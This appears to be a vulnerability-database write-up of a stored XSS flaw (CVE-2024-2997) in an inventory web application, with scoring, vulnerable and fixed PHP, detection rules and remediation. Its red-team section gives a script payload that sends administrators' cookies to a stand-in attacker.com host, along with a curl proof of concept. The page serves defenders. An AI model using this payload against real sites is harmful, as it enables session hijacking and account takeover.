CVE-2024-2997
Executive Summary
CVE-2024-2997 is a stored cross-site scripting (XSS) vulnerability in the Bdtask Multi-Store Inventory Management System (up to version 20240320). The flaw resides in the handling of the Category Name, Model Name, Brand Name, and Unit Name parameters. An attacker can inject arbitrary JavaScript code into these fields, which will be executed when an administrator or other user views the affected page. The CVSS score is 2.4 (Low) due to the requirement for user interaction and the low impact on confidentiality and integrity. However, the vulnerability is publicly disclosed and unpatched, making it a risk for any organization using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP/MySQL web application. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 2.4 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must visit the page containing the injected script.
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – attacker can modify content or perform actions on behalf of the victim.
- Availability Impact: None (A:N)
Threat Level: Low. The attack requires user interaction and only allows limited integrity impact. However, in a social engineering context, it could be used to steal session cookies or perform phishing.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79). The application does not properly sanitize user-supplied input in the Category Name, Model Name, Brand Name, or Unit Name fields. When an administrator or privileged user views the inventory management page, the injected script executes in their browser context.
Attack Flow:
- Attacker identifies the vulnerable input fields (e.g., via a form to add a new category).
- Attacker submits a payload such as
<script>alert('XSS')</script>in theCategory Namefield. - The payload is stored in the database without sanitization.
- When an administrator navigates to the category listing page, the script executes.
- The attacker can then steal session cookies, redirect the admin to a malicious site, or perform actions on behalf of the admin.
Root Cause: Lack of output encoding and input validation. The application likely uses echo or print directly without htmlspecialchars() or equivalent.
Vulnerable vs. Patched Code
Vulnerable Code (PHP example):
<?php
// Vulnerable: direct output without sanitization
echo "<td>" . $_POST['category_name'] . "</td>";
?>
Patched Code (PHP example):
<?php
// Patched: use htmlspecialchars to escape HTML
echo "<td>" . htmlspecialchars($_POST['category_name'], ENT_QUOTES, 'UTF-8') . "</td>";
?>
Note: Since no official patch exists, the above is a recommended fix.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to the vulnerable application (e.g., demo or test instance).
- Knowledge of the input fields (Category Name, Model Name, Brand Name, Unit Name).
Exploit Steps:
- Navigate to the inventory management page (e.g.,
/inventory/category/add). - In the
Category Namefield, inject a payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator to view the category list.
- The admin's browser will send the cookie to the attacker's server.
Proof-of-Concept (PoC) using cURL:
curl -X POST http://target.com/inventory/category/add \
-d "category_name=<script>alert('XSS')</script>&submit=1"
Blue Team (Defender)
Detection:
- Monitor web application logs for suspicious input patterns (e.g.,
<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Hunting:
- Search database for stored XSS payloads in the
categories,models,brands, andunitstables. - Review HTTP requests to
/inventory/*endpoints for encoded or obfuscated JavaScript.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the application server.
- Suspicious POST requests containing
<script>tags to/inventory/category/add,/inventory/model/add, etc.
- Host IOCs:
- Database entries in
categories,models,brands, orunitstables containing HTML/JavaScript. - Web server logs showing
alert,document.cookie, orfetchin request parameters.
- Database entries in
- File IOCs:
- Modified PHP files (if attacker gains admin access) – unlikely for this XSS alone.
Detection Engineering
YARA Rule
rule CVE_2024_2997_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting Bdtask Multi-Store Inventory Management System"
author = "Valters IT"
date = "2024-04-01"
reference = "CVE-2024-2997"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-2997 Stored XSS in Bdtask Inventory System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Category/Model/Brand/Unit Name fields
author: Valters IT
date: 2024/04/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2997
logsource:
category: web
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/inventory/category/add'
- '/inventory/model/add'
- '/inventory/brand/add'
- '/inventory/unit/add'
cs-params|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in description fields (unlikely)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-2997 Stored XSS Attempt in Bdtask Inventory System";
flow:to_server,established;
content:"POST"; http_method;
content:"/inventory/"; http_uri;
pcre:"/(category|model|brand|unit)\/add/i";
content:"<script"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2024-2997;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable input fields if possible, or restrict access to admin-only.
- Apply input validation and output encoding to all user-supplied data. Use
htmlspecialchars()in PHP or equivalent in other languages. - Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor (Bdtask) must release a patch. Until then, consider migrating to a different inventory management system or manually patching the code.
- Conduct a full security audit of the application.
Workaround:
- Use a reverse proxy (e.g., Nginx) with ModSecurity to filter malicious input.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.